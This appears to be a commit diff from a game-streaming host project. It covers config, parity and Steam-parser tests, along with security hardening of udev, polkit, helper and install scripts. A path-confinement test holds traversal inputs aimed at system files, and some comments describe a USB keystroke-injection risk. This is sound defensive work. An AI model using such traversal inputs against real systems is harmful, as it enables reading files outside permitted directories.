) as { schema: { properties: { n: { type?: string } } } };
expect(ok.schema.properties.n.type).toBe("number");
});
test("defaulted fields drop out of `required` — the raw file stays default-free", () => {
const doc = deriveConfigJsonSchema(ScannerConfig) as {
schema: { required?: string[] };
};
// Every field here either has a decoding default or is optionalKey, so nothing is required.
expect(doc.schema.required ?? []).toEqual([]);
});
});
describe("__config wire contract", () => {
const withService = async <A>(
use: (handler: (req: Request) => Promise<Response>, file: string) => Promise<A>,
): Promise<A> => {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), "pf-kit-cfg-"));
const prev = process.env.PUNKTFUNK_CONFIG_DIR;
process.env.PUNKTFUNK_CONFIG_DIR = dir;
try {
const service = await Effect.runPromise(
makeConfigService({ schema: ScannerConfig }).pipe(
Effect.provide(
Layer.mergeAll(pluginInfoLayer({ name: "steam", version: "0.1.0" })),
),
),
);
return await use(
makeConfigHandler({ schema: ScannerConfig, service }),
service.path,
);
} finally {
if (prev === undefined) delete process.env.PUNKTFUNK_CONFIG_DIR;
else process.env.PUNKTFUNK_CONFIG_DIR = prev;
fs.rmSync(dir, { recursive: true, force: true });
}
};
test("GET answers {schema, value} with an absent file reading as empty", async () => {
await withService(async (handler) => {
const res = await handler(new Request("http://x/__config"));
expect(res.status).toBe(200);
const body = (await res.json()) as { schema: unknown; value: unknown };
// Both keys are ALWAYS present and never `undefined` — the console decodes this shape,
// and an omitted-vs-null field is the wire trap that bit the rom-manager 0.3.1 release.
expect(body).toHaveProperty("schema");
expect(body).toHaveProperty("value");
expect(body.schema).not.toBeNull();
// A missing config file is an EMPTY config, not an error.
expect(body.value).toEqual({});
});
});
test("PUT validates by decode, persists RAW, and never bakes in defaults", async () => {
await withService(async (handler, file) => {
const res = await handler(
new Request("http://x/__config", {
method: "PUT",
body: JSON.stringify({ enabled: false }),
}),
);
expect(res.status).toBe(200);
// The file holds exactly what was authored — the five defaulted fields are NOT written,
// which is what keeps a future change to a default from being silently pinned.
expect(JSON.parse(fs.readFileSync(file, "utf8"))).toEqual({
enabled: false,
});
const get = (await (
await handler(new Request("http://x/__config"))
).json()) as { value: unknown };
expect(get.value).toEqual({ enabled: false });
});
});
test("PUT rejects a body the schema refuses, with the issue, and writes nothing", async () => {
await withService(async (handler, file) => {
const res = await handler(
new Request("http://x/__config", {
method: "PUT",
body: JSON.stringify({ enabled: "yes please" }),
}),
);
expect(res.status).toBe(400);
const body = (await res.json()) as { error: string; issue: string };
expect(body.error).toBe("config rejected");
expect(body.issue.length).toBeGreaterThan(0);
expect(fs.existsSync(file)).toBe(false);
});
});
test("PUT rejects a non-JSON body", async () => {
await withService(async (handler) => {
const res = await handler(
new Request("http://x/__config", { method: "PUT", body: "not json" }),
);
expect(res.status).toBe(400);
expect(((await res.json()) as { error: string }).error).toBe(
"body must be JSON",
);
});
});
test("other methods are refused", async () => {
await withService(async (handler) => {
const res = await handler(
new Request("http://x/__config", { method: "DELETE" }),
);
expect(res.status).toBe(405);
});
});
});
-186
View File
@@ -1,186 +0,0 @@
// The parity harness is the release gate for every extracted scanner, so the thing that decides
// pass/fail needs its own tests. The cases below are the ones that actually happen during a port:
// a lost title, a wrong id, a dropped launch recipe, art whose representation changed but whose
// presence didn't, and the launcher entries the plugin legitimately adds.
import { describe, expect, test } from "bun:test";
import {
claimedLibraryId,
diffParity,
formatParityReport,
fromHostEntry,
fromProviderEntry,
type HostGameEntry,
} from "../src/library/parity.js";
import type { ProviderEntry } from "../src/wire.js";
/** What the host reports while its BUILT-IN steam scanner is producing the library. */
const hostEntry = (over: Partial<HostGameEntry> = {}): HostGameEntry => ({
id: "steam:440",
store: "steam",
title: "Team Fortress 2",
launch: { kind: "steam_appid", value: "440" },
// The scanner emits host-relative proxy paths the CLIENT resolves.
art: {
portrait: "/api/v1/library/art/steam:440/portrait",
hero: "/api/v1/library/art/steam:440/hero",
logo: null,
header: "/api/v1/library/art/steam:440/header",
},
platform: "PC",
...over,
});
/** What the extracted plugin produces for the same title. */
const pluginEntry = (over: Partial<ProviderEntry> = {}): ProviderEntry =>
({
external_id: "440",
title: "Team Fortress 2",
launch: { kind: "steam_appid", value: "440" },
// The plugin emits file:// paths and CDN URLs — a DIFFERENT representation of the same art.
art: {
portrait: "file:///home/u/.steam/appcache/librarycache/440/a/p.jpg",
hero: "https://cdn.cloudflare.steamstatic.com/steam/apps/440/library_hero.jpg",
header: "https://cdn.cloudflare.steamstatic.com/steam/apps/440/header.jpg",
},
platform: "PC",
...over,
}) as ProviderEntry;
describe("id mapping", () => {
test("a claimed entry's id is the scanner's id", () => {
// The whole migration rests on this one line: Moonlight pins, GameStream app ids and client
// art caches are all derived from it.
expect(claimedLibraryId("steam", "440")).toBe("steam:440");
expect(claimedLibraryId("heroic", "legendary:Quail")).toBe(
"heroic:legendary:Quail",
);
});
});
describe("diffParity", () => {
const base = [fromHostEntry(hostEntry())];
test("a faithful port passes, even though the art VALUES all changed", () => {
const r = diffParity(base, [fromProviderEntry("steam", pluginEntry())]);
expect(r.ok).toBe(true);
expect(r.matched).toBe(1);
expect(r.changed).toEqual([]);
expect(formatParityReport(r)).toContain("parity OK");
});
test("a lost title is reported as missing", () => {
const r = diffParity(base, []);
expect(r.ok).toBe(false);
expect(r.missing.map((e) => e.id)).toEqual(["steam:440"]);
expect(formatParityReport(r)).toContain("missing: steam:440");
});
test("a wrong id shows up as BOTH missing and extra — the loudest failure", () => {
// The exact shape of the bug this harness exists to catch: the plugin found the title, but
// under an id nothing downstream recognizes.
const r = diffParity(base, [
fromProviderEntry("steam", pluginEntry({ external_id: "440.0" })),
]);
expect(r.ok).toBe(false);
expect(r.missing.map((e) => e.id)).toEqual(["steam:440"]);
expect(r.extra.map((e) => e.id)).toEqual(["steam:440.0"]);
});
test("a changed launch recipe is caught", () => {
const r = diffParity(base, [
fromProviderEntry(
"steam",
pluginEntry({ launch: { kind: "command", value: "steam" } }),
),
]);
expect(r.ok).toBe(false);
expect(r.changed).toEqual([
{
id: "steam:440",
field: "launch",
before: "steam_appid:440",
after: "command:steam",
},
]);
});
test("a dropped launch recipe is caught (an unlaunchable tile)", () => {
const r = diffParity(base, [
fromProviderEntry("steam", pluginEntry({ launch: null })),
]);
expect(r.changed.map((c) => c.field)).toEqual(["launch"]);
});
test("LOSING an art kind fails; gaining one does not", () => {
const lost = diffParity(base, [
fromProviderEntry("steam", pluginEntry({ art: { portrait: null } })),
]);
expect(lost.ok).toBe(false);
expect(lost.changed.map((c) => c.field)).toContain("art.portrait");
// The baseline had no logo; the plugin resolves one. That is an improvement, and failing the
// run over it would only train people to ignore the harness.
const gained = diffParity(base, [
fromProviderEntry(
"steam",
pluginEntry({
art: { ...pluginEntry().art, logo: "file:///l.png" },
}),
),
]);
expect(gained.ok).toBe(true);
});
test("metadata drift is caught, but absent-vs-empty is not drift", () => {
const changed = diffParity(base, [
fromProviderEntry("steam", pluginEntry({ platform: "Linux" })),
]);
expect(changed.changed).toEqual([
{ id: "steam:440", field: "meta.platform", before: "PC", after: "Linux" },
]);
// The host omits empty lists and nulls; a plugin sending them has changed nothing.
const noise = diffParity(base, [
fromProviderEntry(
"steam",
pluginEntry({ genres: [], tags: [], region: null } as never),
),
]);
expect(noise.ok).toBe(true);
});
test("launcher entries are expected extras, not failures", () => {
// The built-in scanner had no concept of a launcher entry, so it can never be in the
// baseline — reporting it as `extra` would fail every steam run forever.
const r = diffParity(base, [
fromProviderEntry("steam", pluginEntry()),
fromProviderEntry(
"steam",
pluginEntry({
external_id: "ui:bigpicture",
title: "Steam Big Picture",
role: "launcher",
launch: { kind: "steam_ui", value: "bigpicture" },
art: {},
} as never),
),
]);
expect(r.ok).toBe(true);
expect(r.extra).toEqual([]);
expect(r.launchersAdded.map((e) => e.id)).toEqual(["steam:ui:bigpicture"]);
expect(formatParityReport(r)).toContain("+1 launcher entry");
});
test("an ordinary title the scanner never had IS a failure", () => {
// The mirror of the case above: only `role: "launcher"` gets the exemption, so a plugin that
// invents games (a bad filter, a tool listed as a game) still fails.
const r = diffParity(base, [
fromProviderEntry("steam", pluginEntry()),
fromProviderEntry(
"steam",
pluginEntry({ external_id: "228980", title: "Steamworks Common" }),
),
]);
expect(r.ok).toBe(false);
expect(r.extra.map((e) => e.id)).toEqual(["steam:228980"]);
});
});
-289
View File
@@ -1,289 +0,0 @@
// The parser ports, tested against the SAME cases the host's Rust scanners pin.
//
// These are not "does TypeScript work" tests. The formats here are undocumented and the host's
// versions are the reference implementation; a port that drifts produces a library that looks fine
// and launches nothing. Where a Rust test exists, its assertions are carried over verbatim — the
// per-plugin parity harness (design M5) then checks the whole pipeline against a live host, but
// these catch a drift long before that.
import { describe, expect, test } from "bun:test";
import * as fs from "node:fs";
import * as os from "node:os";
import * as path from "node:path";
import {
confinedJoin,
crc32,
findGridArtFile,
findLocalArtFile,
fileUrl,
gridFilenames,
isSteamTool,
parseAppManifest,
parseRegQuery,
parseShortcuts,
readTextCapped,
shortcutAppId,
shortcutGameId,
steamCdnUrl,
vdfPaths,
vdfValue,
} from "../src/library/parsers/index.js";
const tmp = (name: string): string => {
const dir = path.join(os.tmpdir(), `pf-kit-${name}-${process.pid}`);
fs.mkdirSync(dir, { recursive: true });
return dir;
};
describe("text VDF / ACF", () => {
test("vdfValue extracts a quoted field", () => {
expect(vdfValue('"path"\t\t"/mnt/games/SteamLibrary"', "path")).toBe(
"/mnt/games/SteamLibrary",
);
expect(vdfValue('"appid"\t\t"570"', "appid")).toBe("570");
expect(vdfValue('"name"\t\t"Dota 2"', "name")).toBe("Dota 2");
// Wrong key → nothing (a prefix match must not leak the neighbouring field).
expect(vdfValue('"installdir"\t\t"x"', "appid")).toBeUndefined();
});
test("vdfPaths pulls every library folder and unescapes Windows separators", () => {
const vdf = `
"libraryfolders"
{
"0"
{
"path" "/home/u/.local/share/Steam"
"label" ""
}
"1"
{
"path" "D:\\\\SteamLibrary"
}
}`;
expect(vdfPaths(vdf)).toEqual([
"/home/u/.local/share/Steam",
"D:\\SteamLibrary",
]);
});
test("parseAppManifest reads the flat fields it needs", () => {
const acf = `"AppState"
{
"appid" "570"
"name" "Dota 2"
"installdir" "dota 2 beta"
}`;
expect(parseAppManifest(acf)).toEqual({
appid: 570,
name: "Dota 2",
installdir: "dota 2 beta",
});
// A manifest missing the essentials is not a title.
expect(parseAppManifest('"AppState" { "name" "x" }')).toBeUndefined();
});
test("isSteamTool keeps runtimes out of a game library", () => {
expect(isSteamTool(228980, "Steamworks Common Redistributables")).toBe(true);
expect(isSteamTool(1628350, "Steam Linux Runtime 3.0 (sniper)")).toBe(true);
expect(isSteamTool(999, "Proton 9.0")).toBe(true);
expect(isSteamTool(999, "SteamVR")).toBe(true);
expect(isSteamTool(570, "Dota 2")).toBe(false);
});
});
describe("binary shortcuts.vdf", () => {
/** Build a binary shortcuts.vdf the way Steam writes one. */
const buildShortcuts = (
entries: ReadonlyArray<{
appid?: number;
appname: string;
exe: string;
hidden?: boolean;
}>,
): Uint8Array => {
const parts: number[] = [];
const cstr = (s: string) => {
for (const b of new TextEncoder().encode(s)) parts.push(b);
parts.push(0);
};
const i32 = (v: number) => {
parts.push(v & 0xff, (v >>> 8) & 0xff, (v >>> 16) & 0xff, (v >>> 24) & 0xff);
};
parts.push(0x00);
cstr("shortcuts");
entries.forEach((e, i) => {
parts.push(0x00);
cstr(String(i));
if (e.appid !== undefined) {
parts.push(0x02);
cstr("appid");
i32(e.appid);
}
parts.push(0x01);
cstr("AppName");
cstr(e.appname);
parts.push(0x01);
cstr("Exe");
cstr(e.exe);
parts.push(0x02);
cstr("IsHidden");
i32(e.hidden ? 1 : 0);
// A nested map the parser must skip wholesale.
parts.push(0x00);
cstr("tags");
parts.push(0x01);
cstr("0");
cstr("favourite");
parts.push(0x08);
parts.push(0x08); // end of this shortcut
});
parts.push(0x08); // end of shortcuts
parts.push(0x08); // end of document
return new Uint8Array(parts);
};
test("parses entries, skips nested maps, and reads the hidden flag", () => {
const buf = buildShortcuts([
{ appid: 2456789012, appname: "My Emulator", exe: '"/usr/bin/foo"' },
{ appid: 3000000000, appname: "Hidden One", exe: '"/x"', hidden: true },
]);
const got = parseShortcuts(buf);
expect(got).toHaveLength(2);
expect(got[0]).toMatchObject({
appid: 2456789012,
name: "My Emulator",
hidden: false,
});
expect(got[1]).toMatchObject({ name: "Hidden One", hidden: true });
});
test("derives the appid when the file omits it", () => {
const buf = buildShortcuts([{ appname: "No Appid", exe: '"/usr/bin/x"' }]);
const got = parseShortcuts(buf);
expect(got).toHaveLength(1);
// Derived ids always carry the high bit — that is how a shortcut is told apart from a real
// store appid downstream (and why its CDN art fetch is skipped).
expect(got[0].appid & 0x8000_0000).not.toBe(0);
expect(got[0].appid).toBe(shortcutAppId('"/usr/bin/x"', "No Appid"));
});
test("is total on a truncated or garbled file", () => {
expect(parseShortcuts(new Uint8Array([]))).toEqual([]);
expect(parseShortcuts(new Uint8Array([0x01, 0x02, 0x03]))).toEqual([]);
const good = buildShortcuts([{ appid: 1, appname: "A", exe: "/a" }]);
// Every truncation of a valid file must return, not throw.
for (let i = 0; i < good.length; i++) {
expect(() => parseShortcuts(good.subarray(0, i))).not.toThrow();
}
});
test("crc32 matches the IEEE check value", () => {
// The canonical CRC-32 check: crc32("123456789") == 0xCBF43926.
expect(crc32(new TextEncoder().encode("123456789"))).toBe(0xcbf4_3926);
});
test("shortcutGameId composes the appid and the shortcut marker", () => {
// high dword = appid, low dword = 0x02000000. Handing rungameid the bare 32-bit appid does
// NOT launch a shortcut, which is the entire reason this function exists.
const id = BigInt(shortcutGameId(0x8000_0000));
expect(id >> 32n).toBe(0x8000_0000n);
expect(id & 0xffff_ffffn).toBe(0x0200_0000n);
// Digits only — it rides the `steam_appid` launch kind, which the host validates as digits.
expect(shortcutGameId(2_456_789_012)).toMatch(/^\d+$/);
});
});
describe("path confinement", () => {
test("confinedJoin refuses anything that could escape the install dir", () => {
const base = path.join(path.sep, "games", "W3");
expect(confinedJoin(base, "bin/game.exe")).toBe(
path.join(base, "bin", "game.exe"),
);
expect(confinedJoin(base, "bin\\game.exe")).toBe(
path.join(base, "bin", "game.exe"),
);
// The three shapes a crafted goggame-*.info would use to point elsewhere.
expect(confinedJoin(base, "../../windows/system32/cmd.exe")).toBeUndefined();
expect(confinedJoin(base, "/etc/passwd")).toBeUndefined();
expect(confinedJoin(base, "C:\\Windows\\system32\\cmd.exe")).toBeUndefined();
expect(confinedJoin(base, "")).toBeUndefined();
});
});
describe("capped reads", () => {
test("readTextCapped refuses an over-cap file and a missing one", () => {
const dir = tmp("caps");
const small = path.join(dir, "small.txt");
fs.writeFileSync(small, "hello");
expect(readTextCapped(small)).toBe("hello");
expect(readTextCapped(small, 2)).toBeUndefined(); // over the cap
expect(readTextCapped(path.join(dir, "nope.txt"))).toBeUndefined();
expect(readTextCapped(dir)).toBeUndefined(); // a directory is not a file
fs.rmSync(dir, { recursive: true, force: true });
});
});
describe("art locations", () => {
test("steamCdnUrl skips shortcut appids, which have no CDN entry", () => {
expect(steamCdnUrl(570, "header")).toContain("/570/header.jpg");
expect(steamCdnUrl(570, "portrait")).toContain("library_600x900.jpg");
// The local cache names the header asset differently from the CDN — pinned because it is
// the single most common way to get Steam art wrong.
expect(steamCdnUrl(570, "header")).not.toContain("library_header");
expect(steamCdnUrl(0x8000_0001, "header")).toBeUndefined();
});
test("grid filenames follow Steam's per-kind naming", () => {
expect(gridFilenames(570, "portrait")).toEqual(["570p.png", "570p.jpg"]);
expect(gridFilenames(570, "hero")).toEqual(["570_hero.png", "570_hero.jpg"]);
expect(gridFilenames(570, "logo")).toEqual(["570_logo.png", "570_logo.jpg"]);
expect(gridFilenames(570, "header")).toEqual(["570.png", "570.jpg"]);
});
test("finds cached and user-override art on disk", () => {
const dir = tmp("art");
const hashDir = path.join(dir, "appcache", "librarycache", "570", "abc123");
fs.mkdirSync(hashDir, { recursive: true });
fs.writeFileSync(path.join(hashDir, "library_600x900.jpg"), "x");
expect(findLocalArtFile(dir, 570, "portrait")).toBe(
path.join(hashDir, "library_600x900.jpg"),
);
expect(findLocalArtFile(dir, 570, "hero")).toBeUndefined();
const cfg = path.join(dir, "userdata", "1", "config");
fs.mkdirSync(path.join(cfg, "grid"), { recursive: true });
fs.writeFileSync(path.join(cfg, "grid", "570p.jpg"), "x");
expect(findGridArtFile(cfg, 570, "portrait")).toBe(
path.join(cfg, "grid", "570p.jpg"),
);
fs.rmSync(dir, { recursive: true, force: true });
});
test("fileUrl produces the host's local-art contract shape", () => {
const u = fileUrl(path.join(path.sep, "home", "u", "My Games", "c.jpg"));
expect(u.startsWith("file:///")).toBe(true);
// Spaces are percent-encoded; the separators survive so the host can rebuild the path.
expect(u).toContain("My%20Games");
expect(u).toContain("/c.jpg");
});
});
describe("reg.exe output", () => {
test("parses value rows and leaves the key header alone", () => {
const stdout = [
"",
"HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Valve\\Steam",
" InstallPath REG_SZ C:\\Program Files (x86)\\Steam",
" Language REG_SZ english",
"",
].join("\r\n");
expect(parseRegQuery(stdout)).toEqual([
{
name: "InstallPath",
type: "REG_SZ",
// Data may contain spaces — only the first two columns are split off.
data: "C:\\Program Files (x86)\\Steam",
},
{ name: "Language", type: "REG_SZ", data: "english" },
]);
});
});
+1 -4
View File
@@ -10,8 +10,5 @@
"noEmit": true,
"types": ["bun"]
},
// `examples` is type-checked but never built: tsconfig.build.json narrows to `src`, and
// package.json ships only `dist` + README. A worked example that doesn't compile is worse than
// no example, and these are what the first-party scanner repos are cut from.
"include": ["src", "test", "examples"]
"include": ["src", "test"]
}
+13 -3
View File
@@ -14,9 +14,19 @@ KERNEL=="uhid", SUBSYSTEM=="misc", OPTIONS+="static_node=uhid", GROUP="input", M
# usbip vhci attach/detach for the virtual Steam Deck controller. Steam Input only
# adopts the virtual Deck when it arrives as a USB device (usbip/vhci or raw_gadget);
# the UHID fallback has no USB interface and Steam ignores it. The sysfs attach files
# are root-only by default while the host runs as a user service — grant the `input`
# group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf).
ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp input /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'"
# are root-only by default while the host runs as a user service — grant the dedicated
# `punktfunk` group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf).
#
# ⚠ This is deliberately NOT the `input` group (2026-08-05 review M-4). Writing `attach` hands the
# kernel a caller-supplied socket fd and materialises an arbitrary, fully userspace-emulated USB
# device — a root-only kernel primitive. Every packaging scriptlet tells the user to
# `usermod -aG input $USER` as step 1, so putting it on `input` handed that primitive to a group
# people are routinely told to join: a member could present a HID keyboard and inject keystrokes
# into a root TTY or the lock screen, or drive any of hundreds of in-tree USB drivers from
# userspace, all without CAP_SYS_ADMIN. The uinput/uhid grants above are already systemwide input
# injection, but neither reaches kernel USB enumeration — this one does, so it gets its own group
# that nothing else asks users to join.
ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp punktfunk /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'"
# hidraw access for the VIRTUAL pads this host creates. Steam/SDL drive a DualSense's rich
# feedback (adaptive triggers, lightbar, player LEDs) exclusively over hidraw — the kernel has no
+20 -1
View File
@@ -10,6 +10,18 @@
set -euo pipefail
cd "$(dirname "$0")/.."
# Opus must be built FROM SOURCE, never picked up from the machine. `audiopus_sys` probes
# pkg-config first, and a Homebrew libopus is compiled for the HOST macOS — its objects land
# inside our staticlib carrying that minos (the deployment-target check at the end of this
# script then fails with 143 SILK objects at the host's version). Whether the bundle is
# usable would otherwise depend on whether the developer happens to have `brew install opus`,
# which is exactly the kind of thing an artifact consumed by every Apple build must not
# depend on. `OPUS_NO_PKG_CONFIG` forces the vendored build; the CMake policy floor is for
# that vendored copy, whose CMakeLists still declares a pre-3.5 minimum that CMake 4 removed
# support for.
export OPUS_NO_PKG_CONFIG=1
export CMAKE_POLICY_VERSION_MINIMUM="${CMAKE_POLICY_VERSION_MINIMUM:-3.5}"
TARGETS_MAC=(aarch64-apple-darwin x86_64-apple-darwin)
BUILD_IOS="${BUILD_IOS:-0}" # BUILD_IOS=1 adds iOS device + simulator slices (rustup targets aarch64-apple-ios{,-sim})
BUILD_TVOS="${BUILD_TVOS:-0}" # BUILD_TVOS=1 adds tvOS slices — TIER-3 Rust targets: needs `rustup toolchain install nightly` + `rustup component add rust-src --toolchain nightly`
@@ -125,7 +137,14 @@ for obj in "$STAGE"/macos/libpunktfunk_core.a; do
bad=$(otool -l "$obj" 2>/dev/null | awk '/minos/ {print $2}' | sort -uV | awk -F. '$1 > 14' | head -1)
if [[ -n "$bad" ]]; then
echo "ERROR: $obj contains objects built for macOS $bad (> 14.0)." >&2
echo "Stale cache — rm -rf target/{aarch64,x86_64}-apple-darwin and rebuild." >&2
echo "Two known causes:" >&2
echo " 1. A system libopus linked instead of the vendored one (check the build" >&2
echo " script output for a /opt/homebrew or /usr/local link-search path). This" >&2
echo " script exports OPUS_NO_PKG_CONFIG=1 to prevent it — if you see it anyway," >&2
echo " something overrode that." >&2
echo " 2. A stale cache: cargo does not fingerprint MACOSX_DEPLOYMENT_TARGET." >&2
echo " rm -rf target/{aarch64,x86_64}-apple-darwin and rebuild." >&2
echo "Identify the offenders with: ar x $obj && otool -l *.o | grep -B1 minos" >&2
exit 1
fi
done
+13 -1
View File
@@ -52,7 +52,19 @@ fi
# it `kwin_wayland --virtual` brings up NO X server at all (no display reserved), and those apps die
# with "Missing X Server or $DISPLAY". KWin starts Xwayland on demand but reserves + logs the X11
# display up front, which the detection below reads.
KWIN_LOG="${TMPDIR:-/tmp}/punktfunk-kwin.log"
# The log lives in the per-user 0700 XDG_RUNTIME_DIR, not at a fixed name in a world-writable
# /tmp. This file is not just a log: the DISPLAY detection below GREPS it for "Using public X11
# display :N" and exports the result, so at a predictable path in a shared directory any local user
# could pre-create it (or symlink it) and steer the DISPLAY of a shipped systemd service
# (2026-08-05 review L-15). `pf-vdisplay` already resolves XDG_RUNTIME_DIR for its own paths; this
# matches. Without a runtime dir, fall back to a private mktemp rather than a guessable name.
if [[ -n "${XDG_RUNTIME_DIR:-}" && -d "${XDG_RUNTIME_DIR}" ]]; then
KWIN_LOG="${XDG_RUNTIME_DIR}/punktfunk-kwin.log"
: >"$KWIN_LOG"
chmod 600 "$KWIN_LOG"
else
KWIN_LOG="$(mktemp -t punktfunk-kwin.XXXXXXXX.log)"
fi
kwin_wayland --virtual --xwayland --width "$W" --height "$H" --no-lockscreen \
--socket "$WAYLAND_DISPLAY" >"$KWIN_LOG" 2>&1 &
KWIN_PID=$!
+8 -1
View File
@@ -11,7 +11,14 @@
grant is scoped to the box's own local-seat session lifecycle — the same class of operation
these distros already authorize for their session switcher (e.g. Nobara's
os-session-select, allow_any). allow_any because the host commonly runs sessionless (a
lingering user unit, no polkit agent), where interactive auth can never be answered. -->
lingering user unit, no polkit agent), where interactive auth can never be answered.
⚠ These defaults authorize every local subject — including a seatless ssh session or a
service account — so they are NOT the whole authorization story (2026-08-05 review L-14).
They cannot be tightened without breaking the lingering-user-unit deployment, which polkit
classifies under allow_any precisely because it has no session. The actual gate is in the
helper: pf-dm-helper refuses any caller whose PKEXEC_UID is not in the `punktfunk` group.
Keep the two in step — loosening the helper's check makes these defaults load-bearing. -->
<action id="io.unom.punktfunk.dm-helper">
<description>Stop or restore the display manager for a Punktfunk stream</description>
<message>Authentication is required to switch the display manager for a Punktfunk stream</message>
+35 -7
View File
@@ -13,6 +13,38 @@
# local-seat operation, not arbitrary unit management.
set -eu
# The polkit action has to stay permissive (`allow_any=yes`): the host commonly runs as a LINGERING
# user unit, which has no logind session at all, so polkit classifies it under `allow_any` and any
# stricter default would make the takeover unauthorizable in its primary deployment. The cost of
# that is that polkit alone authorizes *every* local subject — a seatless ssh session, a service
# account — to run this as root (2026-08-05 review L-14).
#
# So the authorization decision is made HERE instead, where the caller is knowable: pkexec sets
# PKEXEC_UID from the authenticated caller, and only a member of the `punktfunk` group (created by
# the packages) may proceed. That keeps the sessionless host working while making membership of one
# explicit group — not merely "has a local uid" — the thing that grants these verbs.
require_authorized_caller() {
uid=${PKEXEC_UID:-}
[ -n "$uid" ] || {
echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to run unauthenticated" >&2
exit 1
}
user=$(getent passwd "$uid" | cut -d: -f1) || user=
[ -n "$user" ] || {
echo "pf-dm-helper: PKEXEC_UID $uid resolves to no local user — refusing" >&2
exit 1
}
# `id -nG` lists the primary group too, so a user whose primary group IS punktfunk also passes.
for g in $(id -nG "$user" 2>/dev/null); do
[ "$g" = punktfunk ] && return 0
done
echo "pf-dm-helper: user '$user' is not in the 'punktfunk' group — refusing." >&2
echo " Grant it with: sudo usermod -aG punktfunk $user (then re-login)" >&2
exit 1
}
require_authorized_caller
dm_unit() {
target=$(readlink /etc/systemd/system/display-manager.service) || {
echo "pf-dm-helper: no display-manager.service alias — no display manager to manage" >&2
@@ -40,13 +72,9 @@ case "${1-}" in
# what breaks that dependency (the setup docs already ask for it).
#
# The user is NEVER caller-named: PKEXEC_UID is set by pkexec from the authenticated caller,
# so this grant enables lingering for that caller alone.
uid=${PKEXEC_UID:-}
[ -n "$uid" ] || {
echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to guess a user" >&2
exit 1
}
exec loginctl enable-linger "$uid"
# so this grant enables lingering for that caller alone. (Its presence is already checked by
# `require_authorized_caller` above, which also proved the caller is in the punktfunk group.)
exec loginctl enable-linger "${PKEXEC_UID}"
;;
*)
echo "usage: pf-dm-helper stop|restore|linger" >&2
+3 -10
View File
@@ -6,16 +6,9 @@
# SIGTERM interrupts the whole tree STRUCTURALLY, so every plugin's scoped finalizers run before
# exit (clean deregister / preset release) — hence the generous stop timeout below.
#
# ON BY DEFAULT — the packages enable this for every user (`systemctl --global enable` from the
# .deb/.rpm scriptlets; a baked-in default.target.wants symlink in the sysext image). It used to be
# opt-in, on the reasoning that the runner does nothing until you add scripts or plugins. That
# stopped being true when the game-library scanners became plugins: the library is a flagship
# surface, and a host whose runner is off now comes up with an empty library and no obvious reason
# why (design/library-scanner-plugins.md D9).
#
# It remains opt-OUT, per user:
# systemctl --user mask punktfunk-scripting
# (`mask`, not `disable` — a plain disable cannot remove a symlink that lives in /etc or /usr.)
# OPT-IN — unlike punktfunk-web, the package does NOT auto-enable this: the runner does nothing until
# you add scripts or install plugins. Turn it on once you have automation to run:
# systemctl --user enable --now punktfunk-scripting
#
# Auto-wired like the console: a plugin's connect() reads the host's SCOPED plugin token + identity
# cert from ~/.config/punktfunk/{plugin-token,cert.pem} (written by the host's `serve`) — no env
+12 -1
View File
@@ -185,6 +185,11 @@ ok "plugin runner: ~/.local/bin/punktfunk-scripting"
# --- 3. config -------------------------------------------------------------
log "Configuration ($CONFIG)"
mkdir -p "$CONFIG"
# Owner-only: this directory holds web.env (console password + session secret), the mgmt token and
# the host key. A plain `mkdir -p` leaves it 0755 at the Deck's default umask, so the secrets below
# sat in a world-TRAVERSABLE directory (2026-08-05 review L-19). Matches what the host itself does
# via `pf_paths::create_private_dir`, and is idempotent on an existing dir.
chmod 700 "$CONFIG" 2>/dev/null || true
if [ ! -f "$CONFIG/host.env" ]; then
cat > "$CONFIG/host.env" <<'EOF'
# punktfunk Steam Deck host config (sourced by the punktfunk-host user service).
@@ -235,10 +240,16 @@ if [ "$WITH_WEB" = 1 ] && [ ! -f "$CONFIG/web.env" ]; then
# `|| true` swallows the SIGPIPE `tr` takes when `head` closes the pipe (pipefail would abort).
WEB_PW="$(LC_ALL=C tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c 12 || true)"
WEB_SECRET="$(LC_ALL=C tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 32 || true)"
cat > "$CONFIG/web.env" <<EOF
# `umask 077` around the redirect, not `chmod 600` after it: the heredoc CREATES the file at
# the ambient umask (0022 on a Deck ⇒ world-readable), so the console password and session
# secret existed group/world-readable for the window between the redirect and the chmod
# (2026-08-05 review L-19). Setting the mask first means the file is never readable at all.
# The chmod stays as the idempotent belt for a pre-existing file.
(umask 077; cat > "$CONFIG/web.env" <<EOF
PUNKTFUNK_UI_PASSWORD=$WEB_PW
PUNKTFUNK_UI_SECRET=$WEB_SECRET
EOF
)
chmod 600 "$CONFIG/web.env"
ok "wrote web.env (generated login password)"
else
+9 -2
View File
@@ -14,6 +14,13 @@ if [ ! -s "$PWFILE" ]; then
PW=$(head -c 18 /dev/urandom | base64 | tr -d '/+=' | cut -c1-20)
(umask 077; printf 'PUNKTFUNK_UI_PASSWORD=%s\n' "$PW" > "$PWFILE")
chmod 600 "$PWFILE" 2>/dev/null || true
echo "punktfunk web console login password generated: $PW"
echo "(stored in $PWFILE — open https://<host-ip>:47992 and log in)"
# Do NOT echo the password itself. Anything this script prints is captured by systemd into
# the PERSISTENT journal, which on Debian/Ubuntu is readable by the `adm` and
# `systemd-journal` groups — so printing it published a 0600 secret to every member of them,
# permanently, and the .deb postinst then documented `journalctl` as the way to read it
# (2026-08-05 review L-18). Point at the file instead: it is the same one command, it is
# correctly 0600, and it stays readable only by the user who owns the console.
echo "punktfunk web console login password generated."
echo "Read it with: cut -d= -f2- $PWFILE"
echo "(then open https://<host-ip>:47992 and log in)"
fi
File diff suppressed because one or more lines are too long
-14
View File
@@ -44,17 +44,6 @@ export interface PluginUiOptions {
version?: string;
/** Optional lucide icon name for the nav entry (`[a-z0-9-]`, e.g. `"gamepad-2"`). */
icon?: string;
/**
